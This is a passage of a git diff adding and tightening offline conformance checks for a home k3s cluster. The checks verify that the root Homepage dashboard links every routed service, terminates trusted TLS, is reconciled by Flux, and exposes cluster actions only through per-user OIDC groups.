+    # including in a PROSE COMMENT — counted as tested. Hit for real while adding
+    # platform/monitoring/tests/vpn-egress.test.yaml: its header comment explains that VPNTunnelDown
+    # stays quiet during an egress-steering failure, and that sentence alone was enough to make this
+    # check declare VPNTunnelDown "asserted on" and demand its removal from UNTESTED_ALERTS. Deleting
+    # the register entry would then have recorded coverage that did not exist — the exact "looks fixed"
+    # outcome this check exists to prevent, produced BY the check.
+    # Now an alert counts only when a test file names it in an `alertname:` position, with comment
+    # lines stripped first so a commented-out assertion does not count either.
+    # MEASURED BLAST RADIUS BEFORE TIGHTENING: of 61 alerts across the PrometheusRule manifests, 32 are
+    # asserted in one of the two idioms below, 29 are not mentioned at all (already declared in the
+    # registers), and ZERO are prose-only — so this change failed nothing on the day it landed. That
+    # mattered because the registers are shrink-only: had any alert been prose-only, tightening would
+    # have needed a register entry it is not allowed to add. (The first measurement said 31/30/0 because
+    # it scanned only tests/*.test.yaml and missed the <manifest>.promtool-test.yaml companions.)
+    text_no_comments = "\n".join(
+        l for l in text.split("\n") if not l.lstrip().startswith("#")
+    )
+    # BOTH promtool idioms count, because both are real assertions:
+    #   alert_rule_test:   - alertname: CNPGPrimariesCoLocated
+    #   promql_expr_test:  - expr: 'ALERTS{alertname="CNPGPrimariesCoLocated"}'
+    # Matching only the first produced a FALSE NEGATIVE on CNPGPrimariesCoLocated, which
+    # platform/cnpg/alerts.promtool-test.yaml pins across FOUR scenarios entirely through the second
+    # form. Had that been believed, the "fix" would have been a redundant duplicate test for an alert
+    # already better covered than most.
+    covered = [n for n in names
+               if re.search(rf'(?:alertname:\s*|alertname="){re.escape(n)}\b', text_no_comments)]
     covered_total += len(covered)
     for n in names:
         if n in covered:

conformance/tests/l0-static/alert-runbooks-resolvable/check.sh

@@ -126,9 +126,14 @@ def read(p: Path) -> str:
 SCOPE_DECL_RE = r"^\s*conformance\.home\.k3s/scope:\s*[\"\']?whole-repo"
 RUNBOOK_URL_RE = re.compile(r"""^\s*runbook_url:\s*["']?([^"'\s#]+)["']?\s*$""")
 
+# NESTED WORKTREES: skip dot-DIRECTORIES (.git, .claude) while still matching dot-FILES such
+# as .sops.yaml. .claude/worktrees/agent-*/ holds full repo copies for isolated agent runs, so
+# a bare rglob from ROOT audited up to 18 duplicates of every file — which both invents FAILs
+# and, worse, can satisfy an "something declares X" check from a copy rather than real source.
+# Same fix as egress-paths-selected-by-rules. .claude/ is gitignored (.gitignore:43).
 rule_files = sorted(
     p for p in ROOT.rglob("*.yaml")
-    if ".git" not in p.parts and "kind: PrometheusRule" in read(p)
+    if not any(part.startswith(".") for part in p.relative_to(ROOT).parent.parts) and "kind: PrometheusRule" in read(p)
 )
 check(len(rule_files) > 0,
       "no file declaring `kind: PrometheusRule` found — the parser or the repo layout changed; "

conformance/tests/l0-static/c2-root-surface/chainsaw-test.yaml

@@ -0,0 +1,116 @@
+# =============================================================================
+# L0 STATIC — the C2 root surfaces every service the cluster runs, plus platform
+# health and controlled actions  (R-C2-01, R-C2-02)   [EXECUTABLE]
+# Catalog: docs/14 L0 row ("Pre-apply, in CI") — runs WITHOUT a cluster.
+#
+# THE REQUIREMENTS, VERBATIM (spec docs/00-vision-and-scope.md):
+#   R-C2-01  "The root `home.keithjackson.dev` MUST serve a UI that surfaces the services
+#             running in the cluster and links to them."
+#   R-C2-02  "The C2 UI MUST surface platform health (cluster, storage, GitOps, alerts) and
+#             provide controlled operational actions where safe."
+# Detail: spec docs/12-command-center-ui.md — Homepage at the root is "the primary R-C2-01
+# surface"; Headlamp is "the R-C2-02 'controlled operational actions where safe' surface";
+# Grafana is the dashboards/alerts surface; "never a raw cluster-admin kubeconfig in a browser".
+#
+# WHY L0, AND NOT L2
+# ------------------
+# The REACHABILITY half of R-C2-01 is already exercised against a live cluster:
+# l2-behavioral/gateway-ingress-reachable dials the Gateway and l2-behavioral/trusted-tls
+# verifies the certificate it serves. What no live probe can decide is the half the
+# requirement is actually about — whether the UI at the root surfaces THE SERVICES RUNNING
+# IN THE CLUSTER. Deciding that is a comparison of two SETS, and both are repository facts:
+# what git declares the cluster serves (every in-repo HTTPRoute hostname, every L4 Service
+# that publishes a hostname, every catalog ServiceDefinition) against what the dashboard's
+# ConfigMap links. A probe of the root gets HTTP 200 from a dashboard that hides half the
+# estate and cannot tell the difference.
+#
+# It is also the assertion that ROTS, in the direction nothing else notices: onboard a
+# service, forget the dashboard, and every cluster test stays green while the operator's
+# front door hides a running service. That is not a styling preference — it is exactly the
+# R-C2-01 failure mode, and this check found a live instance of it when it was written (see
+# the commit message: platform/crafty served crafty.${BASE_DOMAIN} and nothing on the root
+# linked to it).
+#
+# GIVEN the repository as git tracks it,
+# WHEN  the apex ingress, the dashboard's declared link set, every in-repo HTTPRoute, every
+#       hostname-publishing L4 Service, the versioned catalog and the platform-health
+#       surfaces are read and compared,
+# THEN — R-C2-01 —
+#       the bare apex is claimed by exactly one route, that route binds the ONE Gateway
+#       listener whose hostname matches a bare apex, the apex is a SAN on the certificate
+#       that listener terminates with, the dashboard is RECONCILED (not merely authored),
+#       FORWARD every HTTP service the repo routes is linked from the root, FORWARD every
+#       catalog `kind: container` service with a route is linked, and REVERSE every
+#       home-zone link the root offers resolves to something this repo actually serves —
+#       an HTTPRoute (L7) or a hostname-publishing LoadBalancer Service (L4);
+#     — R-C2-02 —
+#       both health surfaces docs/12 names are linked AND reconciled, the health DATA exists
+#       as code (PrometheusRule groups for cluster/nodes, storage, GitOps and cert expiry,
+#       reconciled by the platform-config tier), and actions are CONTROLLED: the console
+#       binds NO ClusterRole to its own ServiceAccount, authenticates per-user by native
+#       OIDC from a named SOPS Secret, and cluster rights arrive through OIDC GROUPS at more
+#       than one privilege level.
+#
+# STATUS: EXECUTABLE. `check.sh` is a pure offline assertion script (git ls-files + PyYAML —
+# the same dependency catalog/render.py already requires). conformance/run.sh --layer l0 and
+# ci/l0.sh run it directly; this Chainsaw Test wraps the SAME script.
+#
+# WHAT IT DOES NOT PROVE — honest gaps, restated in check.sh's own header:
+#   - That the apex answers HTTP 200, or that any tile's status ping is green. That is L2;
+#     the Gateway/TLS half is covered under R-DNS-01 / R-TLS-01.
+#   - That the C2 is access-CONTROLLED in fact. The auth assertions read a DECLARED posture,
+#     because the Gateway ext-authz attachment that would enforce forward-auth is not built
+#     anywhere in this repo (platform/homepage/httproute.yaml says so in its own header, and
+#     every forward-auth app shares the gap). Declared, not enforced — and labelled as such
+#     in the assertion text.
+#   - That an operational action in the console succeeds, or that it is audited. The
+#     assertions prove there is no shared cluster-admin identity to act with and that rights
+#     arrive per-user; the audit trail is a runtime property.
+#   - Whether a tile is USEFUL. Homepage service-widget API keys are a deliberate follow-up
+#     (platform/homepage/configmap.yaml); link presence is what R-C2-01 asks for.
+# =============================================================================
+apiVersion: chainsaw.kyverno.io/v1alpha1
+kind: Test
+metadata:
+  name: c2-root-surface
+  labels:
+    conformance.home.k3s/R-C2-01: "true"
+    conformance.home.k3s/R-C2-02: "true"
+  annotations:
+    conformance.home.k3s/requirements: "R-C2-01, R-C2-02"
+    conformance.home.k3s/layer: "L0"
+    # WHOLE-REPO SCOPE, and it is the whole point of the forward assertion.
+    #
+    # The invariant is "every service the repo routes is linked from the C2 root". Its input
+    # surface is therefore EVERY tracked manifest that can declare an HTTPRoute — apps/wave-*,
+    # platform/*, runbooks/ — not just the two components that own the C2. ci/touched-
+    # requirements.sh keys `platform/homepage/*` and `platform/headlamp/*` to nothing at all
+    # today (there is no path-map arm for either), and even with one, the change that BREAKS
+    # this invariant is the change that adds a route somewhere else: `apps/wave-1/newthing.yaml`
+    # attributes R-GITOPS-02 / R-NET-* / nothing, never R-C2-01. Requirement-scoped selection
+    # would filter this check out of exactly the change that introduces the bug — the R-TEST-03
+    # blind spot recorded in conformance/lib/common.sh.
+    #
+    # Declaring the scope is the whole fix: conformance/run.sh --include-scope whole-repo
+    # (ci/l0.sh Stage 3b) unions this test into EVERY gate invocation. Do NOT hand-add a stage
+    # to ci/l0.sh — tests/l0-static/whole-repo-invariants-wired fails the gate if anyone does.
+    # A SKIP of a scope-declaring check is rc 3 (UNWIRED), never green.
+    conformance.home.k3s/scope: "whole-repo"
+    conformance.home.k3s/safety-critical: "false"
+    conformance.home.k3s/executable: "true"
+    conformance.home.k3s/intent: >-
+      The bare apex is bound to the landing dashboard over trusted TLS and is reconciled; the
+      dashboard links every HTTP service this repo routes and every link it offers resolves to
+      something the repo serves; and the C2 surfaces platform health backed by real alert rules
+      while granting operational rights per-user through OIDC groups rather than through a
+      shared cluster-admin identity.
+spec:
+  steps:
+    - name: compare-the-c2-root-against-what-the-repo-actually-serves
+      description: >-
+        Read the apex ingress chain, the dashboard's declared links, every in-repo HTTPRoute and
+        hostname-publishing Service, the catalog, the platform-health alert rules and the
+        console's RBAC posture, and assert the two sets agree in both directions.
+      try:
+        - script:
+            content: bash ./check.sh

conformance/tests/l0-static/c2-root-surface/check.sh

@@ -0,0 +1,689 @@
+#!/usr/bin/env bash
+# =============================================================================
+# L0 static check (offline, no cluster) — c2-root-surface
+#
+# Serves (spec docs/00-vision-and-scope.md; detail in docs/12-command-center-ui.md):
+#
+#   R-C2-01  "The root `home.keithjackson.dev` MUST serve a UI that surfaces the
+#             services running in the cluster and links to them."
+#   R-C2-02  "The C2 UI MUST surface platform health (cluster, storage, GitOps,
+#             alerts) and provide controlled operational actions where safe."
+#
+# WHY THIS IS AN L0 STATIC CHECK AND NOT AN L2 PROBE
+# --------------------------------------------------
+# The REACHABILITY half of R-C2-01 is already exercised against a live cluster:
+# l2-behavioral/gateway-ingress-reachable dials the Gateway and l2-behavioral/trusted-tls
+# verifies the certificate it serves. What no live probe can decide is the half the
+# requirement is actually about — whether the UI at the root surfaces THE SERVICES RUNNING
+# IN THE CLUSTER. Deciding that is a comparison of two SETS, and both are repository facts:
+# what git declares the cluster serves (every in-repo HTTPRoute hostname, every
+# hostname-publishing L4 Service, every catalog ServiceDefinition) against what the
+# dashboard's ConfigMap links. A probe of the root gets HTTP 200 from a dashboard that hides
+# half the estate and cannot tell the difference.
+#
+# It is also the assertion that ROTS, in the direction nothing else notices: onboard a
+# service, forget the dashboard, and every cluster test stays green while the operator's
+# front door hides a running service. That is not a styling preference — it is exactly the
+# R-C2-01 failure mode, and it was a LIVE defect on main when this check was written
+# (platform/crafty served crafty.${BASE_DOMAIN} and nothing on the root linked to it).
+#
+# THE RULE THIS IMPLEMENTS, in one sentence: every home-zone hostname the repository routes
+# over HTTP must be linked from the apex dashboard's configuration, every home-zone link the
+# apex dashboard offers must resolve to something the repository actually serves, and the two
+# R-C2-02 surfaces (health data + a per-user-authorized console) must be linked, reconciled
+# and backed by real alert rules.
+#
+# GIVEN the repository as git tracks it,
+# WHEN  the apex ingress chain, the dashboard's declared link set, every in-repo HTTPRoute,
+#       every hostname-publishing L4 Service, the versioned catalog, the platform-health
+#       alert rules and the console's RBAC posture are read and compared,
+# THEN — R-C2-01 —
+#       (0)  the INPUT SURFACE is intact: every Flux-reconciled path lies inside the roots
+#            this check scans, and every manifest in them parses. A root this check does not
+#            scan, or a file it cannot parse, is a service it cannot see — which would
+#            silently weaken every assertion below;
+#       (1)  EXACTLY ONE HTTPRoute claims the bare apex (an ambiguous root is not a root),
+#            and it belongs to the landing-dashboard component;
+#       (2)  that route pins by sectionName the ONE Gateway listener whose hostname is the
+#            bare apex, and that listener is HTTPS — the wildcard `*.${BASE_DOMAIN}` listener
+#            does NOT intersect the bare apex, so without the sectionName the root binds
+#            nothing and serves nothing (asserted against the wildcard listener's existence,
+#            so the claim is proven rather than asserted from prose);
+#       (3)  the apex is a SAN on the Certificate whose Secret that listener terminates with;
+#       (4)  the dashboard is RECONCILED, not merely authored: one Flux Kustomization points
+#            at its path and is listed in the base entrypoint set;
+#       (5)  that Kustomization carries postBuild.substituteFrom, because the dashboard's
+#            hrefs and its route's hostname are written as `${BASE_DOMAIN}` tokens — without
+#            substitution the apex route binds a literal `${BASE_DOMAIN}` and EVERY tile on
+#            the root links to a nonexistent host, while Flux still reports Ready;
+#       (6)  the component's own kustomization ships config + workload + Service + route;
+#       (7)  the dashboard is a service CATALOG: grouped entries carrying hrefs;
+#       (8)  FORWARD — every home-zone hostname an in-repo HTTPRoute serves, other than the
+#            apex itself, is LINKED from the root. This is the rot-catcher;
+#       (9)  FORWARD — every catalog `kind: container` ServiceDefinition whose declared
+#            ingress host is routed is likewise linked, tying the C2 to the VERSIONED
+#            onboarding contract and not only to whatever is rendered today;
+#       (10) REVERSE — every home-zone link the root offers resolves to something this repo
+#            actually serves: an HTTPRoute (L7) or a hostname-publishing LoadBalancer Service
+#            (L4). A dead tile is a link the root offers to nothing;
+#       (11) the off-cluster escape hatch is not a blanket one: every name declared in the
+#            ConfigMap's `off-cluster-links` annotation is a specific home-zone hostname and
+#            none of them shadows a hostname the repo DOES serve;
+#       (12) no href names a LITERAL base-domain host. Every hostname is the `${BASE_DOMAIN}`
+#            token, so prod's root cannot link dev's services — the 2026-09-04 incident class
+#            (two clusters authored to describe the same names), applied to the front door;
+#     — R-C2-02 —
+#       (13) both health surfaces docs/12 names are linked: the Kubernetes console
+#            (cluster/storage/GitOps state) and the dashboards/alerts surface;
+#       (14) both are RECONCILED by Flux, so the links lead to something running;
+#       (15) the health DATA those surfaces render exists as code — PrometheusRule groups for
+#            each axis R-C2-02 enumerates (cluster/nodes, storage, GitOps reconciliation)
+#            plus certificate expiry — and those rule files are reconciled;
+#       (16) actions are CONTROLLED, not cluster-admin-in-a-browser (docs/12: "never a raw
+#            cluster-admin kubeconfig in a browser"): the console chart is explicitly told NOT
+#            to bind its ServiceAccount to a ClusterRole, so there is no shared privileged
+#            identity to act as;
+#       (17) actions are instead PER-USER: the console is configured for native OIDC with
+#            credentials from a named (SOPS) Secret, not inline;
+#       (18) cluster rights arrive through OIDC GROUPS at MORE THAN ONE privilege level (an
+#            admin group and a lesser one) — least-privilege, not one tier for everybody;
+#       (19) the C2 root DECLARES the authenticated-group posture docs/12 requires, on its own
+#            route (declared, NOT enforced — see the gap note below).
+#
+# WHAT THIS DOES *NOT* PROVE — honest gaps, the same ones the Test declaration names:
+#   - That the apex answers HTTP 200, or that any tile's status ping is green. That is L2; the
+#     Gateway/TLS half is covered under R-DNS-01 / R-TLS-01.
+#   - That the C2 is access-CONTROLLED in fact. (19) reads a DECLARED posture, because the
+#     Gateway ext-authz attachment that would ENFORCE forward-auth is not built anywhere in
+#     this repo (platform/homepage/httproute.yaml says so in its own header, and every
+#     forward-auth app shares the gap). Declared, not enforced, and labelled as such in the
+#     assertion text itself.
+#   - That an operational action in the console succeeds, or that it is audited. (16)-(18)
+#     prove there is no shared cluster-admin identity to act with and that rights arrive
+#     per-user; the audit trail is a runtime property.
+#   - Whether a tile is USEFUL. Homepage service-widget API keys are a deliberate follow-up
+#     (platform/homepage/configmap.yaml); link presence is what R-C2-01 asks for.
+#   - That an L4-ONLY endpoint is surfaced. A raw TCP/UDP endpoint (a Minecraft game port) has
+#     no URL a browser can follow, so the FORWARD direction quantifies over HTTP routes;
+#     L4-published hostnames are listed as ADVISORIES and are honoured in the REVERSE
+#     direction (that is how the UniFi tile, an L4 LoadBalancer on :11443, resolves).
+#   - It does not read ../home-network-k3s. The spec is read-only (R-TEST-06) and the
+#     requirement text above is quoted, not parsed.
+#
+# STATUS: EXECUTABLE. Pure offline: `git ls-files` + PyYAML (the dependency ten neighbouring
+# l0-static checks already take). No cluster, no network, no spec repo.
+# =============================================================================
+set -euo pipefail
+DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+ROOT="$(cd "${DIR}/../../../.." && pwd)"        # repo root
+PYTHON="${PYTHON:-python3}"
+
+# Honest SKIP (never green, and rc 3 is UNWIRED for a scope-declaring test) if the landing
+# dashboard component is absent entirely — there is then no C2 root to audit, which is a
+# report about the tree, not a pass.
+if [ ! -f "${ROOT}/platform/homepage/configmap.yaml" ]; then
+  echo "check SKIPPED: platform/homepage/configmap.yaml absent — no C2 landing dashboard to audit" >&2
+  exit 3
+fi
+
+cd "${ROOT}"
+"${PYTHON}" - "${ROOT}" <<'PY'
+"""Static audit: the C2 root surfaces every service the repository serves, plus health.
+
+Every parse contract is documented at its parser. PyYAML rather than regex because the
+subjects are genuinely structured: multi-document apps/ bundles, and a Homepage config that
+is nested YAML *inside* a ConfigMap string value.
+"""
+from __future__ import annotations
+
+import re
+import subprocess
+import sys
+from pathlib import Path
+
+try:
+    import yaml
+except ImportError:                                  # pragma: no cover
+    print("check FAIL: PyYAML is required (same dependency as catalog/render.py)",
+          file=sys.stderr)
+    raise SystemExit(1)
+
+ROOT = Path(sys.argv[1])
+sys.dont_write_bytecode = True          # keep __pycache__ out of the tracked tree
+
+FAILURES: list[str] = []
+ADVISORIES: list[str] = []
+CHECKS = 0
+
+
+def check(cond, msg):
+    global CHECKS
+    CHECKS += 1
+    if cond:
+        print(f"  ok   {msg}")
+    else:
+        print(f"  FAIL {msg}", file=sys.stderr)
+        FAILURES.append(msg)
+
+
+def read(p: Path) -> str:
+    try:
+        return p.read_text()
+    except (OSError, UnicodeDecodeError):
+        return ""
+
+
+# ============================================================ the hostname vocabulary
+# BASE_DOMAIN is a cluster-vars knob (R-ENV-02): every public hostname the cluster serves is
+# `<svc>.${BASE_DOMAIN}`, and dev/prod differ ONLY in that value. So a hostname in this repo
+# is canonically the TOKEN form, and the literal value below exists only to be FORBIDDEN in
+# (12): a literal is how prod came to be authored to serve dev's hostnames (2026-09-04,
+# clusters/base/cluster-vars.yaml's own header).
+TOKEN = "${BASE_DOMAIN}"
+_vars = yaml.safe_load(read(ROOT / "clusters" / "base" / "cluster-vars.yaml")) or {}
+LITERAL_BASE = ((_vars.get("data") or {}).get("BASE_DOMAIN") or "").strip()
+
+
+def strip_port(host: str) -> str:
+    return host.split(":", 1)[0]
+
+
+def zone_label(host: str):
+    """The sub-label of a home-zone hostname, "" for the bare apex, or None if not in zone.
+
+    Accepts only the TOKEN form; a literal-base hostname returns None here and is caught
+    separately by (12), so a literal can never silently satisfy a set comparison.
+    """
+    h = strip_port(host)
+    if h == TOKEN:
+        return ""
+    if h.endswith("." + TOKEN):
+        return h[: -len("." + TOKEN)]
+    return None
+
+
+def is_literal_base(host: str) -> bool:
+    h = strip_port(host)
+    return bool(LITERAL_BASE) and (h == LITERAL_BASE or h.endswith("." + LITERAL_BASE))
+
+
+# ============================================================ (0) the input surface
+# DELIVERY ROOTS — the subtrees Flux reconciles, plus catalog/ (the versioned source the
+# apps/ manifests are rendered FROM). conformance/ is deliberately EXCLUDED: its fixtures and
+# goldens declare synthetic HTTPRoutes (`paas-demo.…`, `gw-declared-conformance.…`) that are
+# test data, not services the cluster serves, and counting them would make (8) assert that
+# the operator's dashboard links this harness's fixtures.
+DELIVERY_ROOTS = ("apps", "platform", "platform-config", "platform-config-cdi",
+                  "runbooks", "clusters", "bootstrap", "catalog")
+
+# NARROW EXEMPTION to (0), for reconciled trees that deliberately serve NOTHING.
+# `conformance/incluster` (the L2/L3 runner + CI-trigger identities, R-SEC-02) is reconciled
+# by clusters/base/conformance.yaml but contains only a Namespace, ServiceAccounts, RBAC and
+# an admission-bounded Job template. Adding "conformance" to DELIVERY_ROOTS instead would be
+# wrong for the reason stated above: it would sweep in this harness's synthetic fixture
+# routes and make (8) demand the operator's dashboard link them.
+#
+# THE EXEMPTION POLICES ITSELF. An unchecked allowlist is how (0) would rot into a fail-open —
+# add a tree here, later put an HTTPRoute in it, and the forward direction goes quietly green
+# on a hidden service. So each exempted tree is ASSERTED below to declare no route and no
+# hostname-publishing Service. If that ever stops being true the check fails and the tree must
+# become a real delivery root.
+NON_SERVING_RECONCILED = ("conformance/incluster",)
+
+
+def tracked_yaml() -> list[Path]:
+    out = subprocess.run(["git", "ls-files", "-z", "--", "*.yaml", "*.yml"],
+                         cwd=ROOT, capture_output=True, text=True, check=True)
+    return [ROOT / p for p in out.stdout.split("\0") if p]
+
+
+ALL_TRACKED = tracked_yaml()
+DELIVERY = [p for p in ALL_TRACKED
+            if p.relative_to(ROOT).parts[0] in DELIVERY_ROOTS]
+
+parse_failed: list[str] = []
+DOCS: dict[Path, list[dict]] = {}
+for p in DELIVERY:
+    try:
+        DOCS[p] = [d for d in yaml.safe_load_all(read(p)) if isinstance(d, dict)]
+    except yaml.YAMLError:
+        DOCS[p] = []
+        parse_failed.append(str(p.relative_to(ROOT)))
+
+
+def docs_all():
+    for p, ds in DOCS.items():
+        for d in ds:
+            yield p, d
+
+
+check(len(DELIVERY) >= 100,
+      f"(0) the delivery tree is present and scanned ({len(DELIVERY)} tracked manifest(s) "
+      f"under {'/, '.join(DELIVERY_ROOTS)}/)")
+check(not parse_failed,
+      f"(0) every manifest in the scanned roots PARSES — an unparseable one is a service "
+      f"this check cannot see, so it would weaken every set comparison below "
+      f"{parse_failed if parse_failed else ''}")
+
+# Every Flux-reconciled path must lie inside a root this check scans. This is the guard on
+# the guard: if a future tier reconciles, say, ./services, the forward direction would stop
+# seeing its routes and would go quietly green on a dashboard that hides all of them.
+flux_ks = [(p, d) for p, d in docs_all()
+           if d.get("kind") == "Kustomization"
+           and str(d.get("apiVersion", "")).startswith("kustomize.toolkit.fluxcd.io")]
+# A RECONCILING Kustomization is one carrying a sourceRef. The pathless documents under
+# bootstrap/flux/patches/ are strategic-merge PATCH FRAGMENTS (they add a decryption stanza to
+# a Kustomization declared elsewhere); they name no source and reconcile nothing, so requiring
+# a path of them would fail on a file that is correct.
+reconcilers = [(p, d) for p, d in flux_ks if (d.get("spec", {}) or {}).get("sourceRef")]
+def _reconciled_path(d):
+    return (d.get("spec", {}) or {}).get("path", "").lstrip("./").rstrip("/")
+
+
+unscanned = sorted({
+    f"{p.relative_to(ROOT)}:{(d.get('spec', {}) or {}).get('path', '') or '(no path)'}"
+    for p, d in reconcilers
+    if _reconciled_path(d).split("/")[0] not in DELIVERY_ROOTS
+    and _reconciled_path(d) not in NON_SERVING_RECONCILED
+})
+
+# The exemption's own guard: an exempted tree must actually serve nothing.
+exempt_serving = sorted({
+    f"{p.relative_to(ROOT)} ({d.get('kind')})"
+    for p, d in docs_all()
+    if any(str(p.relative_to(ROOT)).startswith(t + "/") for t in NON_SERVING_RECONCILED)
+    and (d.get("kind") == "HTTPRoute"
+         or (d.get("kind") == "Service"
+             and any("hostname" in str(k).lower()
+                     for k in ((d.get("metadata", {}) or {}).get("annotations", {}) or {}))))
+})
+check(not exempt_serving,
+      f"(0b) every NON_SERVING_RECONCILED tree really serves nothing — an exempted tree that "
+      f"gains a route would hide a service from this check entirely "
+      f"{exempt_serving if exempt_serving else ''}")
+check(len(reconcilers) >= 10 and not unscanned,
+      f"(0) all {len(reconcilers)} Flux-reconciled path(s) lie inside a scanned root — a "
+      f"reconciled tree this check does not read is a service it cannot require a link for "
+      f"{unscanned if unscanned else ''}")
+
+# ============================================================ what the repo SERVES
+# L7: every hostname an in-repo HTTPRoute claims, and the component that owns it.
+routes: dict[str, list[tuple[Path, dict]]] = {}
+apex_inheriting: list[Path] = []
+for p, d in docs_all():
+    if d.get("kind") != "HTTPRoute":
+        continue
+    hosts = (d.get("spec", {}) or {}).get("hostnames") or []
+    if not hosts:
+        # An HTTPRoute with NO hostnames inherits the hostname of every listener it attaches
+        # to (runbooks/serving/httproute.yaml binds `https-apex` only, so it serves a PATH on
+        # the apex). It introduces no new hostname, so it owes no tile.
+        apex_inheriting.append(p)
+        continue
+    for h in hosts:
+        routes.setdefault(str(h), []).append((p, d))
+
+routed_labels = {}          # sub-label -> owning component dir
+for h, owners in routes.items():
+    lbl = zone_label(h)
+    if lbl:                 # "" is the apex; None is out of zone
+        routed_labels[lbl] = owners[0][0].parent
+
+# L4: a Service that publishes a home-zone hostname to DNS is also "served by this repo" —
+# it is how UniFi (a KubeVirt VM behind a pinned Cilium LoadBalancer VIP on :11443) reaches
+# the LAN. external-dns's annotation IS the declaration; there is no HTTPRoute to find.
+DNS_ANN = "external-dns.alpha.kubernetes.io/hostname"
+l4_labels: dict[str, Path] = {}
+for p, d in docs_all():
+    if d.get("kind") != "Service":
+        continue
+    ann = (d.get("metadata", {}) or {}).get("annotations", {}) or {}
+    for h in re.split(r"[,\s]+", str(ann.get(DNS_ANN, ""))):
+        lbl = zone_label(h) if h else None
+        if lbl:
+            l4_labels[lbl] = p
+
+check(len(routed_labels) >= 10,
+      f"(0) the repo's north-south HTTP surface is discovered "
+      f"({len(routed_labels)} routed home-zone hostname(s), "
+      f"{len(apex_inheriting)} apex-path route(s), {len(l4_labels)} L4-published hostname(s))")
+
+# ============================================================ (1) the apex is unambiguous
+apex_claims = routes.get(TOKEN, [])
+check(len(apex_claims) == 1,
+      f"(1) exactly ONE HTTPRoute claims the bare apex {TOKEN} — an ambiguous root is not a "
+      f"root (found {len(apex_claims)}: {[str(p.relative_to(ROOT)) for p, _ in apex_claims]})")
+apex_path, apex_route = (apex_claims[0] if apex_claims else (None, {}))
+DASH = apex_path.parent if apex_path is not None else None
+check(DASH is not None and DASH.name == "homepage",
+      f"(1) the apex route belongs to the landing-dashboard component "
+      f"(found {DASH.name if DASH else None!r})")
+
+# ============================================================ (2) it binds the apex listener
+parents = (apex_route.get("spec", {}) or {}).get("parentRefs") or []
+section = next((pr.get("sectionName") for pr in parents if pr.get("sectionName")), None)
+gw_name = next((pr.get("name") for pr in parents), None)
+gw_ns = next((pr.get("namespace") for pr in parents), None)
+check(section is not None,
+      "(2) the apex route pins a Gateway listener by sectionName — the wildcard listener's "
+      "hostname cannot match a bare apex, so an unpinned apex route binds NOTHING")
+
+gw = next((d for _, d in docs_all()
+           if d.get("kind") == "Gateway"
+           and (d.get("metadata", {}) or {}).get("name") == gw_name
+           and (gw_ns is None or (d.get("metadata", {}) or {}).get("namespace") == gw_ns)), None)
+check(gw is not None, f"(2) the parent Gateway '{gw_name}' is declared in the repo")
+listeners = ((gw or {}).get("spec", {}) or {}).get("listeners") or []
+apex_listener = next((l for l in listeners if l.get("name") == section), None)
+check(apex_listener is not None,
+      f"(2) the Gateway declares the '{section}' listener the apex route binds")
+check(apex_listener is not None and apex_listener.get("hostname") == TOKEN,
+      f"(2) that listener's hostname is EXACTLY the bare apex "
+      f"(found {(apex_listener or {}).get('hostname')!r})")
+check(apex_listener is not None and apex_listener.get("protocol") == "HTTPS",
+      "(2) the apex listener terminates HTTPS (docs/12 acceptance gate: trusted TLS on the root)")
+# Prove the sectionName is LOAD-BEARING rather than decorative: a wildcard listener exists,
+# it is a DIFFERENT listener, and its hostname does not equal the apex.
+wildcard = [l for l in listeners if str(l.get("hostname", "")) == "*." + TOKEN]
+check(bool(wildcard) and all(l.get("name") != section for l in wildcard),
+      f"(2) the wildcard listener(s) {[l.get('name') for l in wildcard]} are DISTINCT from "
+      f"'{section}' — which is why the apex needs its own listener, and why dropping the "
+      f"sectionName would leave the root unserved")
+
+# ============================================================ (3) trusted TLS on the root
+cert_secret = next((ref.get("name")
+                    for ref in ((apex_listener or {}).get("tls", {}) or {}).get("certificateRefs") or []),
+                   None)
+cert = next((d for _, d in docs_all()
+             if d.get("kind") == "Certificate"
+             and (d.get("spec", {}) or {}).get("secretName") == cert_secret), None)
+check(cert is not None,
+      f"(3) a cert-manager Certificate produces the apex listener's Secret ({cert_secret!r})")
+check(cert is not None and TOKEN in ((cert.get("spec", {}) or {}).get("dnsNames") or []),
+      "(3) the bare apex is a SAN on that Certificate — the wildcard alone does NOT cover it, "
+      "so without this SAN the root serves an untrusted certificate")
+
+# ============================================================ (4)(5) it is RECONCILED
+dash_rel = f"./{DASH.relative_to(ROOT)}" if DASH else None
+dash_ks = [(p, d) for p, d in flux_ks
+           if (d.get("spec", {}) or {}).get("path", "").rstrip("/") == dash_rel]
+check(len(dash_ks) == 1,
+      f"(4) exactly one Flux Kustomization reconciles the dashboard ({dash_rel}) — authored "
+      f"but unreconciled is the 'looks done, is absent' class this repo keeps hitting "
+      f"(found {len(dash_ks)})")
+if dash_ks:
+    base_txt = read(ROOT / "clusters" / "base" / "kustomization.yaml")
+    entry = dash_ks[0][0].name
+    check(re.search(rf"^\s*-\s*{re.escape(entry)}\s*(#.*)?$", base_txt, re.M) is not None,
+          f"(4) that Kustomization is listed in the base entrypoint set ({entry})")
+    # (5) The dashboard's hrefs and its route's hostname are ${BASE_DOMAIN} TOKENS. Without
+    # postBuild.substituteFrom the token reaches the cluster LITERALLY: the apex route binds
+    # the host `${BASE_DOMAIN}` (matching no listener) and every tile links to a host that
+    # does not exist — and Flux still reports the Kustomization Ready. It fails OPEN.
+    subs = (((dash_ks[0][1].get("spec", {}) or {}).get("postBuild") or {}).get("substituteFrom") or [])
+    check(any((s.get("name") == "cluster-vars") for s in subs),
+          f"(5) {dash_ks[0][0].name} carries postBuild.substituteFrom cluster-vars. It MUST: "
+          f"this component's route hostname and EVERY tile href are ${{BASE_DOMAIN}} tokens, "
+          f"and an unsubstituted token is applied literally while Flux still reports Ready — "
+          f"a root bound to no listener and a dashboard of dead links, with a green tier")
+
+# ============================================================ (6) it ships the UI
+dash_kust = yaml.safe_load(read(DASH / "kustomization.yaml")) if DASH else None
+dash_res = set((dash_kust or {}).get("resources") or [])
+for want in ("configmap.yaml", "deployment.yaml", "service.yaml", "httproute.yaml"):
+    check(want in dash_res, f"(6) the dashboard kustomization ships {want}")
+
+# ================================================== the dashboard's DECLARED link set
+# Homepage's config is nested YAML inside ConfigMap string values (services.yaml,
+# bookmarks.yaml). Both are read: a bookmark is a link the root offers just as a tile is.
+cm = next((d for d in (DOCS.get(DASH / "configmap.yaml") or []) if d.get("kind") == "ConfigMap"),
+          {}) if DASH else {}
+cm_data = cm.get("data") or {}
+
+
+def embedded(key):
+    try:
